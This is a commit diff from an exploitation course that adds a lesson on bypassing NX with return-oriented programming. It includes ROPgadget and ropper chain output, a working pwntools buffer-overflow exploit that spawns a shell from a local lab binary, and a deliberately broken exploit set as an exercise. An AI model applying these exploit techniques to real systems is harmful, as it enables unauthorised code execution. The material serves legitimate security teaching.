Skip to content

Commit 57cd4fb

Browse files
committed
Completed section 6
1 parent c332755 commit 57cd4fb

File tree

4 files changed

+335
-5
lines changed

4 files changed

+335
-5
lines changed

Vagrantfile

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -69,7 +69,7 @@ Vagrant.configure("2") do |config|
6969
cp /etc/apt/sources.list /etc/apt/sources.list.old
7070
sed -i -e 's/archive\.ubuntu\.com/mirror\.0x\.sg/g' /etc/apt/sources.list
7171
apt-get update
72-
apt-get install -y libc6:i386 libncurses5:i386 libstdc++6:i386 gdb python python-pip libssl-dev gcc git binutils socat apt-transport-https ca-certificates libc6-dev-i386 python-capstone
72+
apt-get install -y libc6:i386 libncurses5:i386 libstdc++6:i386 gdb python python-pip libssl-dev gcc git binutils socat apt-transport-https ca-certificates libc6-dev-i386 python-capstone libffi-dev
7373
pip install --upgrade pip
7474
pip install ropgadget
7575
pip install pwntools

lessons/1_setting_up_environment/lessonplan.md

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -153,7 +153,7 @@ dpkg --add-architecture i386
153153
cp /etc/apt/sources.list /etc/apt/sources.list.old
154154
sed -i -e 's/archive\.ubuntu\.com/mirror\.0x\.sg/g' /etc/apt/sources.list
155155
apt-get update
156-
apt-get install -y libc6:i386 libncurses5:i386 libstdc++6:i386 gdb python python-pip libssl-dev gcc git binutils socat apt-transport-https ca-certificates libc6-dev-i386 python-capstone
156+
apt-get install -y libc6:i386 libncurses5:i386 libstdc++6:i386 gdb python python-pip libssl-dev gcc git binutils socat apt-transport-https ca-certificates libc6-dev-i386 python-capstone libffi-dev
157157
pip install --upgrade pip
158158
pip install ropgadget
159159
pip install pwntools

lessons/6_bypass_nx_rop/lessonplan.md

Lines changed: 277 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -179,18 +179,292 @@ Linux syscalls.
179179

180180
## Linux Syscalls
181181

182-
talk about
183-
http://syscalls.kernelgrok.com/
184-
int 0x80
182+
Linux system calls or syscalls are interfaces between the user space application
183+
and the Linux kernel. Functionality performed by the Linux kernel can be invoked
184+
by placing parameters into the right registers and passing control to the
185+
interrupt vector 0x80 using the `int 0x80` opcode. Typically, this is not done
186+
by the program directly but by calling glibc wrappers.
187+
188+
We will not go too deep into describing how the system calls work and go
189+
straight to the system call that interests us the most: execve. The execve
190+
system call runs an executable file within the context of the current process.
191+
192+
If we take a look at the libc function, we get the following signature:
193+
194+
`int execve(char const *path, char const *argv[], char const *envp[]);`
195+
196+
Typically, we invoke this function in the following manner to spawn shells.
197+
198+
`execve("/bin/sh", {0}, {0})`
199+
200+
If we take a look at the syscall reference located [here][6], we can see that
201+
some parameters are expected in the eax, ebx, ecx, and edx registers.
202+
203+
1. eax - holds the number of the syscall to be called
204+
2. ebx - a pointer to the string containing the file name to be executed
205+
3. ecx - a pointer to the array of string pointers representing argv
206+
4. edx - a pointer to the array of string pointers representing envp
207+
208+
For our purposes, the value that each of the registers should contain are:
209+
210+
```
211+
eax = 0xb
212+
ebx = "/bin/sh"
213+
ecx = memory address -> 0
214+
edx = memory address -> 0
215+
```
185216

186217
## Generating the ROP Chain
187218

219+
Automatically finding the ROP gadgets to perform the `execve` syscall can be
220+
done by ROPgadget. It actually even generates the the output as a python script
221+
that you can embed into the skeleton.
222+
223+
```shell
224+
ubuntu@ubuntu-xenial:/vagrant/lessons/6_bypass_nx_rop/build$ ROPgadget --binary 1_staticnx --ropchain
225+
... snip ...
226+
ROP chain generation
227+
===========================================================
228+
229+
- Step 1 -- Write-what-where gadgets
230+
231+
[+] Gadget found: 0x8050fb5 mov dword ptr [esi], edi ; pop ebx ; pop esi ; pop edi ; ret
232+
[+] Gadget found: 0x8048453 pop esi ; ret
233+
[+] Gadget found: 0x80484a0 pop edi ; ret
234+
[-] Can't find the 'xor edi, edi' gadget. Try with another 'mov [r], r'
235+
236+
[+] Gadget found: 0x805495b mov dword ptr [edx], eax ; ret
237+
[+] Gadget found: 0x807299a pop edx ; ret
238+
[+] Gadget found: 0x80bbb46 pop eax ; ret
239+
[+] Gadget found: 0x80493e3 xor eax, eax ; ret
240+
241+
- Step 2 -- Init syscall number gadgets
242+
243+
[+] Gadget found: 0x80493e3 xor eax, eax ; ret
244+
[+] Gadget found: 0x807e1df inc eax ; ret
245+
246+
- Step 3 -- Init syscall arguments gadgets
247+
248+
[+] Gadget found: 0x80481d1 pop ebx ; ret
249+
[+] Gadget found: 0x80e2fc9 pop ecx ; ret
250+
[+] Gadget found: 0x807299a pop edx ; ret
251+
252+
- Step 4 -- Syscall gadget
253+
254+
[+] Gadget found: 0x8070605 int 0x80
255+
256+
- Step 5 -- Build the ROP chain
257+
258+
#!/usr/bin/env python2
259+
# execve generated by ROPgadget
260+
261+
from struct import pack
262+
263+
# Padding goes here
264+
p = ''
265+
266+
p += pack('<I', 0x0807299a) # pop edx ; ret
267+
p += pack('<I', 0x080ee060) # @ .data
268+
p += pack('<I', 0x080bbb46) # pop eax ; ret
269+
p += '/bin'
270+
p += pack('<I', 0x0805495b) # mov dword ptr [edx], eax ; ret
271+
p += pack('<I', 0x0807299a) # pop edx ; ret
272+
p += pack('<I', 0x080ee064) # @ .data + 4
273+
p += pack('<I', 0x080bbb46) # pop eax ; ret
274+
p += '//sh'
275+
p += pack('<I', 0x0805495b) # mov dword ptr [edx], eax ; ret
276+
p += pack('<I', 0x0807299a) # pop edx ; ret
277+
p += pack('<I', 0x080ee068) # @ .data + 8
278+
p += pack('<I', 0x080493e3) # xor eax, eax ; ret
279+
p += pack('<I', 0x0805495b) # mov dword ptr [edx], eax ; ret
280+
p += pack('<I', 0x080481d1) # pop ebx ; ret
281+
p += pack('<I', 0x080ee060) # @ .data
282+
p += pack('<I', 0x080e2fc9) # pop ecx ; ret
283+
p += pack('<I', 0x080ee068) # @ .data + 8
284+
p += pack('<I', 0x0807299a) # pop edx ; ret
285+
p += pack('<I', 0x080ee068) # @ .data + 8
286+
p += pack('<I', 0x080493e3) # xor eax, eax ; ret
287+
p += pack('<I', 0x0807e1df) # inc eax ; ret
288+
p += pack('<I', 0x0807e1df) # inc eax ; ret
289+
p += pack('<I', 0x0807e1df) # inc eax ; ret
290+
p += pack('<I', 0x0807e1df) # inc eax ; ret
291+
p += pack('<I', 0x0807e1df) # inc eax ; ret
292+
p += pack('<I', 0x0807e1df) # inc eax ; ret
293+
p += pack('<I', 0x0807e1df) # inc eax ; ret
294+
p += pack('<I', 0x0807e1df) # inc eax ; ret
295+
p += pack('<I', 0x0807e1df) # inc eax ; ret
296+
p += pack('<I', 0x0807e1df) # inc eax ; ret
297+
p += pack('<I', 0x0807e1df) # inc eax ; ret
298+
p += pack('<I', 0x08070605) # int 0x80
299+
```
300+
301+
Integrating the generated code is as easy as copy and pasting into the [final
302+
exploit][4].
303+
304+
305+
```python
306+
#!/usr/bin/python
307+
308+
from pwn import *
309+
310+
from struct import pack
311+
312+
# Padding goes here
313+
rop = ''
314+
315+
rop += pack('<I', 0x0807299a) # pop edx ; ret
316+
rop += pack('<I', 0x080ee060) # @ .data
317+
rop += pack('<I', 0x080bbb46) # pop eax ; ret
318+
rop += '/bin'
319+
rop += pack('<I', 0x0805495b) # mov dword ptr [edx], eax ; ret
320+
rop += pack('<I', 0x0807299a) # pop edx ; ret
321+
rop += pack('<I', 0x080ee064) # @ .data + 4
322+
rop += pack('<I', 0x080bbb46) # pop eax ; ret
323+
rop += '//sh'
324+
rop += pack('<I', 0x0805495b) # mov dword ptr [edx], eax ; ret
325+
rop += pack('<I', 0x0807299a) # pop edx ; ret
326+
rop += pack('<I', 0x080ee068) # @ .data + 8
327+
rop += pack('<I', 0x080493e3) # xor eax, eax ; ret
328+
rop += pack('<I', 0x0805495b) # mov dword ptr [edx], eax ; ret
329+
rop += pack('<I', 0x080481d1) # pop ebx ; ret
330+
rop += pack('<I', 0x080ee060) # @ .data
331+
rop += pack('<I', 0x080e2fc9) # pop ecx ; ret
332+
rop += pack('<I', 0x080ee068) # @ .data + 8
333+
rop += pack('<I', 0x0807299a) # pop edx ; ret
334+
rop += pack('<I', 0x080ee068) # @ .data + 8
335+
rop += pack('<I', 0x080493e3) # xor eax, eax ; ret
336+
rop += pack('<I', 0x0807e1df) # inc eax ; ret
337+
rop += pack('<I', 0x0807e1df) # inc eax ; ret
338+
rop += pack('<I', 0x0807e1df) # inc eax ; ret
339+
rop += pack('<I', 0x0807e1df) # inc eax ; ret
340+
rop += pack('<I', 0x0807e1df) # inc eax ; ret
341+
rop += pack('<I', 0x0807e1df) # inc eax ; ret
342+
rop += pack('<I', 0x0807e1df) # inc eax ; ret
343+
rop += pack('<I', 0x0807e1df) # inc eax ; ret
344+
rop += pack('<I', 0x0807e1df) # inc eax ; ret
345+
rop += pack('<I', 0x0807e1df) # inc eax ; ret
346+
rop += pack('<I', 0x0807e1df) # inc eax ; ret
347+
rop += pack('<I', 0x08070605) # int 0x80
348+
349+
def main():
350+
# Start the process
351+
p = process("../build/1_staticnx")
352+
353+
# Craft the payload
354+
payload = "A"*148 + rop
355+
payload = payload.ljust(1000, "\x00")
188356
357+
# Send the payload
358+
p.send(payload)
359+
360+
# Transfer interaction to the user
361+
p.interactive()
362+
363+
if __name__ == '__main__':
364+
main()
365+
```
366+
367+
When we run the exploit, we get our shell.
368+
369+
370+
```shell
371+
ubuntu@ubuntu-xenial:/vagrant/lessons/6_bypass_nx_rop/scripts$ python 2_ropexploit.py
372+
[+] Starting local process '../build/1_staticnx': Done
373+
[*] Switching to interactive mode
374+
This is a big vulnerable example!
375+
I can print many things: deadbeef, Test String, 42
376+
Writing to STDOUT
377+
Reading from STDIN
378+
$ ls -la
379+
total 16
380+
drwxrwxr-x 1 ubuntu ubuntu 4096 Jan 12 20:31 .
381+
drwxrwxr-x 1 ubuntu ubuntu 4096 Jan 13 2017 ..
382+
-rw-rw-r-- 1 ubuntu ubuntu 422 Jan 12 06:03 1_skeleton.py
383+
-rw-rw-r-- 1 ubuntu ubuntu 1897 Jan 12 20:31 2_ropexploit.py
384+
$
385+
[*] Stopped program '../build/1_staticnx'
386+
ubuntu@ubuntu-xenial:/vagrant/lessons/6_bypass_nx_rop/scripts$
387+
```
189388
190389
## Exercises
191390
192391
### 6.1 Using Ropper to Generate ROP Chains
193392
393+
There are alternative tools to ROPgadget that perform gadget searching and
394+
automatic chain generation. One such tool is ropper. You can generate an execve
395+
rop chain with the following command.
396+
397+
```shell
398+
ubuntu@ubuntu-xenial:/vagrant/lessons/6_bypass_nx_rop/build$ ropper --file 1_staticnx --chain execve
399+
[INFO] Load gadgets for section: LOAD
400+
[LOAD] loading... 100%
401+
[LOAD] removing double gadgets... 100%
402+
403+
[INFO] ROPchain Generator for syscall execve:
404+
405+
406+
[INFO]
407+
write command into data section
408+
eax 0xb
409+
ebx address to cmd
410+
ecx address to null
411+
edx address to null
412+
413+
414+
[INFO] Try to create chain which fills registers without delete content of previous filled registers
415+
[*] Try permuation 1 / 24
416+
[INFO] Look for syscall gadget
417+
418+
[INFO] syscall gadget found
419+
[INFO] generating rop chain
420+
#!/usr/bin/env python
421+
# Generated by ropper ropchain generator #
422+
from struct import pack
423+
424+
p = lambda x : pack('I', x)
425+
426+
IMAGE_BASE_0 = 0x08048000 # 1_staticnx
427+
rebase_0 = lambda x : p(x + IMAGE_BASE_0)
428+
429+
rop = ''
430+
431+
rop += rebase_0(0x00073b46) # 0x080bbb46: pop eax; ret;
432+
rop += '//bi'
433+
rop += rebase_0(0x0002a99a) # 0x0807299a: pop edx; ret;
434+
rop += rebase_0(0x000a6060)
435+
rop += rebase_0(0x0000c95b) # 0x0805495b: mov dword ptr [edx], eax; ret;
436+
rop += rebase_0(0x00073b46) # 0x080bbb46: pop eax; ret;
437+
rop += 'n/sh'
438+
rop += rebase_0(0x0002a99a) # 0x0807299a: pop edx; ret;
439+
rop += rebase_0(0x000a6064)
440+
rop += rebase_0(0x0000c95b) # 0x0805495b: mov dword ptr [edx], eax; ret;
441+
rop += rebase_0(0x000036ca) # 0x0804b6ca: pop dword ptr [ecx]; ret;
442+
rop += p(0x00000000)
443+
rop += rebase_0(0x00073b46) # 0x080bbb46: pop eax; ret;
444+
rop += p(0x00000000)
445+
rop += rebase_0(0x0002a99a) # 0x0807299a: pop edx; ret;
446+
rop += rebase_0(0x000a6068)
447+
rop += rebase_0(0x0000c95b) # 0x0805495b: mov dword ptr [edx], eax; ret;
448+
rop += rebase_0(0x000001d1) # 0x080481d1: pop ebx; ret;
449+
rop += rebase_0(0x000a6060)
450+
rop += rebase_0(0x0009afc9) # 0x080e2fc9: pop ecx; ret;
451+
rop += rebase_0(0x000a6068)
452+
rop += rebase_0(0x0002a99a) # 0x0807299a: pop edx; ret;
453+
rop += rebase_0(0x000a6068)
454+
rop += rebase_0(0x00073b46) # 0x080bbb46: pop eax; ret;
455+
rop += p(0x0000000b)
456+
rop += rebase_0(0x0002afa0) # 0x08072fa0: int 0x80; ret;
457+
print rop
458+
[INFO] rop chain generated!
459+
```
460+
461+
However, using this payload in a [modified script][5] does not work. Can you
462+
figure out why and fix it?
463+
194464
[1]: ./src/1_staticnx.c
195465
[2]: ./build/1_staticnx
196466
[3]: ./scripts/1_skeleton.py
467+
[4]: ./scripts/2_ropexploit.py
468+
[5]: ./scripts/3_brokenrop.py
469+
[6]: http://syscalls.kernelgrok.com/
470+
Lines changed: 56 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,56 @@
1+
#!/usr/bin/python
2+
3+
from pwn import *
4+
5+
from struct import pack
6+
7+
p = lambda x : pack('I', x)
8+
9+
IMAGE_BASE_0 = 0x08048000 # 1_staticnx
10+
rebase_0 = lambda x : p(x + IMAGE_BASE_0)
11+
12+
rop = ''
13+
14+
rop += rebase_0(0x00073b46) # 0x080bbb46: pop eax; ret;
15+
rop += '//bi'
16+
rop += rebase_0(0x0002a99a) # 0x0807299a: pop edx; ret;
17+
rop += rebase_0(0x000a6060)
18+
rop += rebase_0(0x0000c95b) # 0x0805495b: mov dword ptr [edx], eax; ret;
19+
rop += rebase_0(0x00073b46) # 0x080bbb46: pop eax; ret;
20+
rop += 'n/sh'
21+
rop += rebase_0(0x0002a99a) # 0x0807299a: pop edx; ret;
22+
rop += rebase_0(0x000a6064)
23+
rop += rebase_0(0x0000c95b) # 0x0805495b: mov dword ptr [edx], eax; ret;
24+
rop += rebase_0(0x000036ca) # 0x0804b6ca: pop dword ptr [ecx]; ret;
25+
rop += p(0x00000000)
26+
rop += rebase_0(0x00073b46) # 0x080bbb46: pop eax; ret;
27+
rop += p(0x00000000)
28+
rop += rebase_0(0x0002a99a) # 0x0807299a: pop edx; ret;
29+
rop += rebase_0(0x000a6068)
30+
rop += rebase_0(0x0000c95b) # 0x0805495b: mov dword ptr [edx], eax; ret;
31+
rop += rebase_0(0x000001d1) # 0x080481d1: pop ebx; ret;
32+
rop += rebase_0(0x000a6060)
33+
rop += rebase_0(0x0009afc9) # 0x080e2fc9: pop ecx; ret;
34+
rop += rebase_0(0x000a6068)
35+
rop += rebase_0(0x0002a99a) # 0x0807299a: pop edx; ret;
36+
rop += rebase_0(0x000a6068)
37+
rop += rebase_0(0x00073b46) # 0x080bbb46: pop eax; ret;
38+
rop += p(0x0000000b)
39+
rop += rebase_0(0x0002afa0) # 0x08072fa0: int 0x80; ret;
40+
41+
def main():
42+
# Start the process
43+
p = process("../build/1_staticnx")
44+
45+
# Craft the payload
46+
payload = "A"*148 + rop
47+
payload = payload.ljust(1000, "\x00")
48+
49+
# Send the payload
50+
p.send(payload)
51+
52+
# Transfer interaction to the user
53+
p.interactive()
54+
55+
if __name__ == '__main__':
56+
main()

0 commit comments

Comments
 (0)